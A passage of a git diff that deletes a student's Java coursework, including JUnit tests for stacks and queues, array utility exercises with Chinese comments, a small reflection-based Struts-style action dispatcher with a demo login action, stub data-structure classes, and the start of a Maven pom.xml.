-		assertEquals(Data.length+1,test.size());
-	}
-
-	@Test
-	public void testDeQueue() {
-		Object t=test.deQueue();
-		assertEquals(Data.length-1,test.size());
-		assertEquals(Data[0], t);
-	}
-	@Test
-	public void testIsEmpty() {
-		assertFalse(test.isEmpty());
-	}
-
-	@Test
-	public void testSize() {
-		assertEquals(Data.length,test.size());
-	}
-
-	
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/StackTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/StackTest.java
deleted file mode 100644
index 11484c0043..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/test/StackTest.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package com.danny.hw1.test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Before;
-import org.junit.Test;
-
-import com.danny.hw1.Queue;
-import com.danny.hw1.Stack;
-
-public class StackTest {
-
-	static Object[] Data = new Object[]{1,2,3,4,5,6,7,8};
-	Stack test;
-	@Before
-	public void setUp() throws Exception{
-		test = new Stack();
-		for(Object data: Data){
-			test.push(data);
-		}
-	}
-
-	@Test
-	public void testPush() {
-		Object t=10;
-		test.push(t);	
-		assertEquals(Data.length+1,test.size());
-	}
-
-	@Test
-	public void testPop() {
-		assertEquals(Data[Data.length-1], test.pop());
-		assertEquals(Data.length-1, test.size());
-	}
-
-	@Test
-	public void testPeek() {
-		assertEquals(Data[Data.length-1], test.peek());
-		assertEquals(Data.length, test.size());
-	}
-
-	@Test
-	public void testIsEmpty() {
-		assertFalse(test.isEmpty());
-	}
-
-	@Test
-	public void testSize() {
-		assertEquals(Data.length, test.size());
-	}
-
-	
-
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/SuitTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/SuitTest.java
deleted file mode 100644
index 25eb57411b..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/test/SuitTest.java
+++ /dev/null
@@ -1,17 +0,0 @@
-package com.danny.hw1.test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Suite;
-import org.junit.runners.Suite.SuiteClasses;
-
-@RunWith(Suite.class)
-@Suite.SuiteClasses({ArrayListTest.class,BinaryTreeNodeTest.class,
-					LinkedListTest.class,QueueTest.class,StackTest.class
-					})
-public class SuitTest {
-
-}
diff --git a/group23/729693763/Second_Homework2/.classpath b/group23/729693763/Second_Homework2/.classpath
deleted file mode 100644
index aa7b00d27d..0000000000
--- a/group23/729693763/Second_Homework2/.classpath
+++ /dev/null
@@ -1,9 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<classpath>
-	<classpathentry kind="src" path="src"/>
-	<classpathentry exported="true" kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.8"/>
-	<classpathentry exported="true" kind="con" path="org.eclipse.jdt.junit.JUNIT_CONTAINER/4"/>
-	<classpathentry exported="true" kind="lib" path="F:/eclipse-jee-neon-2-win32-x86_64/jar_package/dom4j-1.6.1/dom4j-1.6.1/dom4j-1.6.1.jar" sourcepath="C:/Users/soulk/.m2/repository/dom4j/dom4j/1.6.1/dom4j-1.6.1-sources.jar"/>
-	<classpathentry exported="true" kind="lib" path="F:/eclipse-jee-neon-2-win32-x86_64/jar_package/jaxen-1.1.1/jaxen-1.1.1.jar"/>
-	<classpathentry kind="output" path="bin"/>
-</classpath>
diff --git a/group23/729693763/Second_Homework2/.project b/group23/729693763/Second_Homework2/.project
deleted file mode 100644
index fb7175dae6..0000000000
--- a/group23/729693763/Second_Homework2/.project
+++ /dev/null
@@ -1,17 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<projectDescription>
-	<name>Second_Homework2</name>
-	<comment></comment>
-	<projects>
-	</projects>
-	<buildSpec>
-		<buildCommand>
-			<name>org.eclipse.jdt.core.javabuilder</name>
-			<arguments>
-			</arguments>
-		</buildCommand>
-	</buildSpec>
-	<natures>
-		<nature>org.eclipse.jdt.core.javanature</nature>
-	</natures>
-</projectDescription>
diff --git a/group23/729693763/Second_Homework2/.settings/org.eclipse.jdt.core.prefs b/group23/729693763/Second_Homework2/.settings/org.eclipse.jdt.core.prefs
deleted file mode 100644
index 3a21537071..0000000000
--- a/group23/729693763/Second_Homework2/.settings/org.eclipse.jdt.core.prefs
+++ /dev/null
@@ -1,11 +0,0 @@
-eclipse.preferences.version=1
-org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
-org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8
-org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve
-org.eclipse.jdt.core.compiler.compliance=1.8
-org.eclipse.jdt.core.compiler.debug.lineNumber=generate
-org.eclipse.jdt.core.compiler.debug.localVariable=generate
-org.eclipse.jdt.core.compiler.debug.sourceFile=generate
-org.eclipse.jdt.core.compiler.problem.assertIdentifier=error
-org.eclipse.jdt.core.compiler.problem.enumIdentifier=error
-org.eclipse.jdt.core.compiler.source=1.8
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/ArrayUtil.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/ArrayUtil.java
deleted file mode 100644
index af11509593..0000000000
--- a/group23/729693763/Second_Homework2/src/com/danny/hw2/ArrayUtil.java
+++ /dev/null
@@ -1,221 +0,0 @@
-package com.danny.hw2;
-
-import java.util.Arrays;
-
-public class ArrayUtil {
-
-	/**
-	 * 给定一个整形数组a , 对该数组的值进行置换 例如： a = [7, 9 , 30, 3] , 置换后为 [3, 30, 9,7] 如果 a =
-	 * [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-	 * 
-	 * @param origin
-	 * @return
-	 */
-	public void reverseArray(int[] origin) {
-		int size = origin.length;
-		int[] temp = new int[size];
-
-		for(int i=0;i < size; i++){
-			temp[i] = origin[size-i-1];
-		}
-		
-		for(int i=0;i<size;i++){
-			origin[i] = temp[i];
-		}
-	}
-
-	/**
-	 * 现在有如下的一个数组： int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}
-	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为： {1,3,4,5,6,6,5,4,7,6,7,5}
-	 * 
-	 * @param oldArray
-	 * @return
-	 */
-
-	public int[] removeZero(int[] oldArray) {
-		int oldArraySize = oldArray.length;
-		int resultSize = 0;
-		int[] temp = new int[oldArraySize];
-
-		for (int i = 0; i < oldArray.length; i++) {
-			if(oldArray[i] != 0){
-				temp[resultSize++] = oldArray[i];
-			}
-		}
-		return temp;
-	}
-
-	/**
-	 * 给定两个已经排序好的整形数组， a1和a2 , 创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的 例如 a1 =
-	 * [3, 5, 7,8] a2 = [4, 5, 6,7] 则 a3 为[3,4,5,6,7,8] , 注意： 已经消除了重复
-	 * 
-	 * @param array1
-	 * @param array2
-	 * @return
-	 */
-
-	public int[] merge(int[] array1, int[] array2) {
-		int array1Size = array1.length;
-		int array2Size = array2.length;
-		int[] result = new int[array1Size+array2Size];
-		int resultIndex = 0;
-		
-		for (int index1 = 0,index2 = 0; index1 < array1Size;) {
-			if ( index2 < array2Size ) {
-				if ( array1[index1] < array2[index2] ) {
-					result[resultIndex++] = array1[index1++];
-					break;
-				}
-				if( array1[index1] == array2[index2] ){
-					result[resultIndex++] = array1[index1++];
-					index2++;
-					break;
-				}
-				if( array1[index1] > array2[index2] ){
-					result[resultIndex++] = array2[index2++];
-					break;
-				}
-			} else{
-				result[resultIndex++] = array1[index1++];
-			}
-		}
-		System.out.println(resultIndex);
-		return Arrays.copyOf(result, resultIndex);
-		
-	}
-
-	/**
-	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-	 * 注意，老数组的元素在新数组中需要保持 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-	 * [2,3,6,0,0,0]
-	 * 
-	 * @param oldArray
-	 * @param size
-	 * @return
-	 */
-	public int[] grow(int[] oldArray, int size) {
-		int oldSize = oldArray.length;
-		int[] newArray= new int[oldSize+size];
-		
-		for ( int i = 0; i < newArray.length; i++) {
-			if ( i < oldSize ) {
-				newArray[i] = oldArray[i];
-			} else{
-				newArray[i] = 0;
-			}
-		}
-		return newArray;
-	}
-
-	/**
-	 * 斐波那契数列为：1，1，2，3，5，8，13，21...... ，给定一个最大值， 返回小于该值的数列 例如， max = 15 ,
-	 * 则返回的数组应该为 [1，1，2，3，5，8，13] max = 1, 则返回空数组 []
-	 * 
-	 * @param max
-	 * @return
-	 */
-	public int[] fibonacci(int max) {
-		if(max == 1){
-			return new int[0];
-		}
-		
-		int maxIndex = 1000;
-		int realIndex = 0;
-		int[] array=new int[maxIndex];
-		for (; realIndex <= array.length; realIndex++) {
-			int fibonacciNum = getFibonacciArray(realIndex+1);
-			if(fibonacciNum > max){
-				break;
-			}
-			array[realIndex] = fibonacciNum;
-		}
-		
-		
-		
-		return Arrays.copyOf(array, realIndex);
-	}
-	
-	
-	private int getFibonacciArray(int index){
-		
-		if(index == 0 || index == 1){
-			return index;
-		}
-		return getFibonacciArray(index - 1) + getFibonacciArray(index - 2); 
-	}
-	/**
-	 * 返回小于给定最大值max的所有素数数组 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-	 * 
-	 * @param max
-	 * @return
-	 */
-	public int[] getPrimes(int max) {
-		int maxIndex = 1000;
-		int realSize = 0;
-		int[] array = new int[maxIndex];
-		for (int i = 0; i < max; i++) {
-			if(isPrimers(i)){
-				array[realSize++] = i;
-			}
-		}
-		return Arrays.copyOf(array, realSize);
-	}
-	private static boolean isPrimers(int n){
-		if (n <= 3) {
-			return n > 1;
-		}
-
-		for(int i=2;i<=Math.sqrt(n);i++){
-			if(n%i == 0)
-				return false;
-		}
-		return true;
-	}
-
-
-	/**
-	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-	 * 
-	 * @param max
-	 * @return
-	 */
-	public int[] getPerfectNumbers(int max) {
-		int maxIndex = 1000;
-		int realIndex = 0;
-		int[] array = new int[maxIndex];
-		int sum = 0;
-		
-		for (int i = 1; i < max /2 +1; i++) {
-			if(max % i == 0){
-				sum += i;
-				array[realIndex++] = i;
-			}			
-		}
-		if(sum == max){
-			return Arrays.copyOf(array, realIndex);
-		}else{
-			return new int[0];
-		}
-		
-	}
-
-	/**
-	 * 用seperator 把数组 array给连接起来 例如array= [3,8,9], seperator = "-" 则返回值为"3-8-9"
-	 * 
-	 * @param array
-	 * @param s
-	 * @return
-	 */
-	public String join(int[] array, String seperator) {
-		String result="";
-		for (int i = 0; i < array.length; i++) {
-			result+= String.valueOf(array[i]) + seperator;
-		}
-		//去掉多余的一个seperator
-		return result.substring(0, result.length()-1);
-	}
-	
-	
-
-
-}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/LoginAction.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/LoginAction.java
deleted file mode 100644
index 340d542dec..0000000000
--- a/group23/729693763/Second_Homework2/src/com/danny/hw2/LoginAction.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.danny.hw2;
-
-/**
- * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
- * @author liuxin
- *
- */
-public class LoginAction{
-    private String name ;
-    private String password;
-    private String message;
-
-    public String getName() {
-        return name;
-    }
-
-    public String getPassword() {
-        return password;
-    }
-
-    public String execute(){
-            if("test".equals(name) && "1234".equals(password)){
-                this.message = "login successful";
-                return "success";
-            }
-            this.message = "login failed,please check your user/pwd";
-            return "fail";
-    }
-
-    public void setName(String name){
-        this.name = name;
-    }
-    public void setPassword(String password){
-        this.password = password;
-    }
-    public String getMessage(){
-        return this.message;
-    }
-}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/Struts.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/Struts.java
deleted file mode 100644
index 6e1cb4ba96..0000000000
--- a/group23/729693763/Second_Homework2/src/com/danny/hw2/Struts.java
+++ /dev/null
@@ -1,163 +0,0 @@
-package com.danny.hw2;
-
-import java.io.File;
-import java.lang.invoke.CallSite;
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Field;
-import java.lang.reflect.Method;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-import org.dom4j.Document;
-import org.dom4j.DocumentException;
-import org.dom4j.Element;
-import org.dom4j.io.SAXReader;
-
-import org.jaxen.*;
-
-public class Struts {
-
-	private static Document file = null;
-	private static String file_path = 
-			new File("").getAbsolutePath()+".\\xmlFolder\\struts.xml";
-
-	private static String viewPath="com.danny.hw2.View";
-	
-	//0. 读取配置文件struts.xml
-    private static Document parse(String path){
-        SAXReader reader = new SAXReader();
-        Document document = null;
-		try {
-			document = reader.read(path);
-		} catch (DocumentException e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();			
-		}
-        return document;
-    }
-    
-    private static Element getAction(Document document,String name){
-
-    	List<Element> lElement = (List<Element>) file.selectObject("/struts/action");
-    	Element actionElement = null;
-    	for(Element e:lElement){
-    		if(e.attributeValue("name").equals(name)){
-    			actionElement = e;    			
-    			break;
-    		}
-    	}
-    	return actionElement;
-    }
-	
-    public static View runAction(String actionName, Map<String,String> parameters) {
-    	
-    	file = parse(file_path);
-    	
-    	//返回的class View;
-    	Object viewClass = null;
-    	
-    	
-    	//0 Get Action Element    	
-    	Element actionElement = getAction(file, actionName);
-
-    	
-    	String actionClassPath = actionElement.attributeValue("class");
-    	System.out.println(actionClassPath);
-    	
-    	Object action = null;
-    	
-    	try {
-    		/*
-    		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
-    		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
-    		("name"="test" ,  "password"="1234") ,   		     	
-    		那就应该调用 setName和setPassword方法
-    		*/
-			action = Class.forName(actionClassPath).newInstance();
-			
-			Method setName = action.getClass().getMethod("setName",String.class);
-			setName.invoke(action, parameters.get("name"));
-			
-			Method setPassword = action.getClass().getMethod("setPassword",String.class);
-			setPassword.invoke(action, parameters.get("password"));
-			
-			
-			//2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
-			Method execute = action.getClass().getMethod("execute", null);
-			Object status = execute.invoke(action);
-			
-			System.out.println(status.toString());
-			
-			
-			//3获得所有的Getter字段
-			Field[] files = action.getClass().getDeclaredFields();
-			
-			HashMap<String,String> save = new HashMap<>();
-			
-			//找到需要的数据，线存到save中
-			for (int i = 0; i < files.length; i++) {
-				String name = files[i].getName();
-				name = "get" + name.substring(0,1).toUpperCase() + 
-						name.substring(1);
-				
-				
-				Method getter = action.getClass().getMethod(name,null);
-				save.put(files[i].getName(), (String) getter.invoke(action));
-				
-			}
-			//塞进viewClass里面
-			viewClass = Class.forName(viewPath).newInstance();
-			Method setParameters = viewClass.getClass().getMethod("setParameters", Map.class);
-			setParameters.invoke(viewClass, save);
-			
-			
-			
-			//4将jsp放进去
-			List<Element> resultElement = actionElement.selectNodes("result");
-			for(Element e:resultElement){
-				if(e.attributeValue("name").equals(status.toString())){
-					String jspFields= e.getStringValue();
-					viewClass.getClass().getMethod("setJsp", String.class).
-					invoke(viewClass, jspFields);
-				}
-				
-			}
-			
-			
-		} catch (Exception e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-			
-			throw new RuntimeException(e.getMessage());
-		}
-    	
-    	
-    	
-    	
-        /*
-         
-		0. 读取配置文件struts.xml
- 		
- 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
-		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
-		("name"="test" ,  "password"="1234") ,     	
-		那就应该调用 setName和setPassword方法
-		
-		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
-		
-		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
-		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
-		放到View对象的parameters
-		
-		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
-		放到View对象的jsp字段中。
-        
-        */
-    	
-    
-    	return (View) viewClass;
-    }    
-
-
-}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/View.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/View.java
deleted file mode 100644
index 67ff0a061b..0000000000
--- a/group23/729693763/Second_Homework2/src/com/danny/hw2/View.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.danny.hw2;
-
-import java.util.Map;
-
-public class View {
-	private String jsp;
-	private Map parameters;
-	
-	public String getJsp() {
-		return jsp;
-	}
-	public View setJsp(String jsp) {
-		this.jsp = jsp;
-		return this;
-	}
-	public Map getParameters() {
-		return parameters;
-	}
-	public View setParameters(Map parameters) {
-		this.parameters = parameters;
-		return this;
-	}
-}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/test/ArrayUtilTest.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/test/ArrayUtilTest.java
deleted file mode 100644
index a7fce5320a..0000000000
--- a/group23/729693763/Second_Homework2/src/com/danny/hw2/test/ArrayUtilTest.java
+++ /dev/null
@@ -1,95 +0,0 @@
-package com.danny.hw2.test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Test;
-
-import com.danny.hw2.ArrayUtil;
-
-public class ArrayUtilTest {
-
-	@Test
-	public void testReverseArray() {
-//		 * 给定一个整形数组a , 对该数组的值进行置换 例如： a = [7, 9 , 30, 3] , 置换后为 [3, 30, 9,7] 如果 a =
-//				 * [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-		int[] testData = new int[]{7,9,30,3};
-		int[] ans = new int[]{3,30,9,7};
-		new ArrayUtil().reverseArray(testData);
-		
-		for (int i = 0; i < ans.length; i++) {
-			assertEquals(ans[i], testData[i]);
-		}
-	}
-
-	@Test
-	public void testRemoveZero() {
-		int[] testData = new int[]{1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5};
-		int[] ans = new int[]{1,3,4,5,6,6,5,4,7,6,7,5};
-	
-		int[] test = new ArrayUtil().removeZero(testData);
-		for (int i = 0; i < ans.length; i++) {
-			assertEquals(ans[i], test[i]);
-		}
-	}
-
-	@Test
-	public void testMerge() {
-//		 * 给定两个已经排序好的整形数组， a1和a2 , 创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的 例如 a1 =
-//				 * [3, 5, 7,8] a2 = [4, 5, 6,7] 则 a3 为[3,4,5,6,7,8] , 注意： 已经消除了重复
-		int[] a1 = new int[]{3, 5, 7,8};
-		int[] a2 = new int[]{4,5,6,7};
-		
-		int[] ans = new int[]{3,4,5,6,7,8};
-		
-		int[] test = new ArrayUtil().merge(a1, a2);
-		
-		for (int i = 0; i < test.length; i++) {
-			assertEquals(ans[i], test[i]);
-		}
-
-	}
-
-	@Test
-	public void testGrow() {
-//		把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-//		 * 注意，老数组的元素在新数组中需要保持 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-//		 * [2,3,6,0,0,0]
- 
-		int size = 3;
-		int[] testData = new int[]{2,3,6};
-		int[] test = new ArrayUtil().grow(testData, size);
-		assertEquals(testData.length+size, test.length);
-		
-	}
-
-	@Test
-	public void testFibonacci() {
-		int[] ans = new int[]{1,1,2,3,5,8,13};
-		int[] array = new ArrayUtil().fibonacci(15);		
-		for (int i = 0; i < ans.length; i++) {
-			assertEquals(ans[i], array[i]);	
-		}
-		
-	}
-
-	@Test
-	public void testGetPerfectNumbers() {
-		
-		int[] ans=new int[]{1,2,4,7,14};
-		int[] array=new ArrayUtil().getPerfectNumbers(28);
-		for (int i = 0; i < array.length; i++) {
-			assertEquals(ans[i], array[i]);
-		}
-	}
-
-	@Test
-	public void testJoin() {
-		//* 用seperator 把数组 array给连接起来 例如array= [3,8,9],
-		//seperator = "-" 则返回值为"3-8-9"
-		int[] test = new int[]{3,8,9};
-		
-		String test1 = new ArrayUtil().join(test, "-");
-		assertEquals("3-8-9", test1);
-	}
-
-}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/test/StrutsTest.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/test/StrutsTest.java
deleted file mode 100644
index 49b770f015..0000000000
--- a/group23/729693763/Second_Homework2/src/com/danny/hw2/test/StrutsTest.java
+++ /dev/null
@@ -1,46 +0,0 @@
-package com.danny.hw2.test;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-import com.danny.hw2.Struts;
-import com.danny.hw2.View;
-
-
-
-
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() {
-		
-		String actionName = "login";
-        
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","1234");
-        
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-        Assert.assertEquals("login successful", view.getParameters().get("message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() {
-		String actionName = "login";
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","123456"); //密码和预设的不一致
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-	}
-}
diff --git a/group23/729693763/Second_Homework2/xmlFolder/struts.xml b/group23/729693763/Second_Homework2/xmlFolder/struts.xml
deleted file mode 100644
index 8a788e9b1f..0000000000
--- a/group23/729693763/Second_Homework2/xmlFolder/struts.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<struts>
-    <action name="login" class="com.danny.hw2.LoginAction">
-        <result name="success">/jsp/homepage.jsp</result>
-        <result name="fail">/jsp/showLogin.jsp</result>
-    </action>
-    <action name="logout" class="com.danny.hw2.LogoutAction">
-    	<result name="success">/jsp/welcome.jsp</result>
-    	<result name="error">/jsp/error.jsp</result>
-    </action>
-</struts>
\ No newline at end of file
diff --git a/group23/729693763/homework1_demo/ArrayList.java b/group23/729693763/homework1_demo/ArrayList.java
deleted file mode 100644
index 1f185736f9..0000000000
--- a/group23/729693763/homework1_demo/ArrayList.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coding.basic;
-
-public class ArrayList implements List {
-	
-	private int size = 0;
-	
-	private Object[] elementData = new Object[100];
-	
-	public void add(Object o){
-		
-	}
-	public void add(int index, Object o){
-		
-	}
-	
-	public Object get(int index){
-		return null;
-	}
-	
-	public Object remove(int index){
-		return null;
-	}
-	
-	public int size(){
-		return -1;
-	}
-	
-	public Iterator iterator(){
-		return null;
-	}
-	
-}
diff --git a/group23/729693763/homework1_demo/BinaryTreeNode.java b/group23/729693763/homework1_demo/BinaryTreeNode.java
deleted file mode 100644
index d7ac820192..0000000000
--- a/group23/729693763/homework1_demo/BinaryTreeNode.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coding.basic;
-
-public class BinaryTreeNode {
-	
-	private Object data;
-	private BinaryTreeNode left;
-	private BinaryTreeNode right;
-	
-	public Object getData() {
-		return data;
-	}
-	public void setData(Object data) {
-		this.data = data;
-	}
-	public BinaryTreeNode getLeft() {
-		return left;
-	}
-	public void setLeft(BinaryTreeNode left) {
-		this.left = left;
-	}
-	public BinaryTreeNode getRight() {
-		return right;
-	}
-	public void setRight(BinaryTreeNode right) {
-		this.right = right;
-	}
-	
-	public BinaryTreeNode insert(Object o){
-		return  null;
-	}
-	
-}
diff --git a/group23/729693763/homework1_demo/Iterator.java b/group23/729693763/homework1_demo/Iterator.java
deleted file mode 100644
index 06ef6311b2..0000000000
--- a/group23/729693763/homework1_demo/Iterator.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package com.coding.basic;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-
-}
diff --git a/group23/729693763/homework1_demo/LinkedList.java b/group23/729693763/homework1_demo/LinkedList.java
deleted file mode 100644
index 4fdb03db8a..0000000000
--- a/group23/729693763/homework1_demo/LinkedList.java
+++ /dev/null
@@ -1,124 +0,0 @@
-package com.coding.basic;
-
-
-
-public class LinkedList implements List {
-	
-	private Node head;
-	
-	public void add(Object o){
-		
-	}
-	public void add(int index , Object o){
-		
-	}
-	public Object get(int index){
-		return null;
-	}
-	public Object remove(int index){
-		return null;
-	}
-	
-	public int size(){
-		return -1;
-	}
-	
-	public void addFirst(Object o){
-		
-	}
-	public void addLast(Object o){
-		
-	}
-	public Object removeFirst(){
-		return null;
-	}
-	public Object removeLast(){
-		return null;
-	}
-	public Iterator iterator(){
-		return null;
-	}
-	
-	
-	private static  class Node{
-		Object data;
-		Node next;
-		
-	}
-	
-	/**
-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public  void reverse(){		
-		
-	}
-	
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-	 */
-	public  void removeFirstHalf(){
-		
-	}
-	
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	public  void remove(int i, int length){
-		
-	}
-	/**
-	 * 假定当前链表和list均包含已升序排列的整数
-	 * 从当前链表中取出那些list所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]  
-	 * @param list
-	 */
-	public static int[] getElements(LinkedList list){
-		return null;
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在list中出现的元素 
-
-	 * @param list
-	 */
-	
-	public  void subtract(LinkedList list){
-		
-	}
-	
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public  void removeDuplicateValues(){
-		
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 */
-	public  void removeRange(int min, int max){
-		
-	}
-	
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public  LinkedList intersection( LinkedList list){
-		return null;
-	}
-}
diff --git a/group23/729693763/homework1_demo/List.java b/group23/729693763/homework1_demo/List.java
deleted file mode 100644
index 10d13b5832..0000000000
--- a/group23/729693763/homework1_demo/List.java
+++ /dev/null
@@ -1,9 +0,0 @@
-package com.coding.basic;
-
-public interface List {
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-}
diff --git a/group23/729693763/homework1_demo/Queue.java b/group23/729693763/homework1_demo/Queue.java
deleted file mode 100644
index 36e516e266..0000000000
--- a/group23/729693763/homework1_demo/Queue.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coding.basic;
-
-public class Queue {
-	
-	public void enQueue(Object o){		
-	}
-	
-	public Object deQueue(){
-		return null;
-	}
-	
-	public boolean isEmpty(){
-		return false;
-	}
-	
-	public int size(){
-		return -1;
-	}
-}
diff --git a/group23/729693763/homework1_demo/Stack.java b/group23/729693763/homework1_demo/Stack.java
deleted file mode 100644
index a5a04de76d..0000000000
--- a/group23/729693763/homework1_demo/Stack.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coding.basic;
-
-public class Stack {
-	private ArrayList elementData = new ArrayList();
-	
-	public void push(Object o){		
-	}
-	
-	public Object pop(){
-		return null;
-	}
-	
-	public Object peek(){
-		return null;
-	}
-	public boolean isEmpty(){
-		return false;
-	}
-	public int size(){
-		return -1;
-	}
-}
diff --git a/group23/769232552/coding/pom.xml b/group23/769232552/coding/pom.xml
deleted file mode 100644
index 5b9701ed4d..0000000000
--- a/group23/769232552/coding/pom.xml
+++ /dev/null
@@ -1,47 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project xmlns="http://maven.apache.org/POM/4.0.0"
-         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-    <modelVersion>4.0.0</modelVersion>
-
-    <groupId>com.coding</groupId>
-    <artifactId>coding2017</artifactId>
-    <version>1.0-SNAPSHOT</version>
-    <build>
-        <plugins>
-            <plugin>
-                <groupId>org.apache.maven.plugins</groupId>
-                <artifactId>maven-compiler-plugin</artifactId>
-                <configuration>
-                    <source>1.6</source>
-                    <target>1.6</target>
-                </configuration>
-            </plugin>
-        </plugins>
-    </build>
-
-    <dependencies>
-        <dependency>
-            <groupId>ch.qos.logback</groupId>
-            <artifactId>logback-classic</artifactId>
-            <version>1.1.1</version>
-        </dependency>
-        <dependency>
-            <groupId>dom4j</groupId>
-            <artifactId>dom4j</artifactId>
-            <version>1.6.1</version>
-        </dependency>
-        <dependency>
-            <groupId>junit</groupId>
-            <artifactId>junit</artifactId>
-            <version>4.12</version>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>commons-lang</groupId>
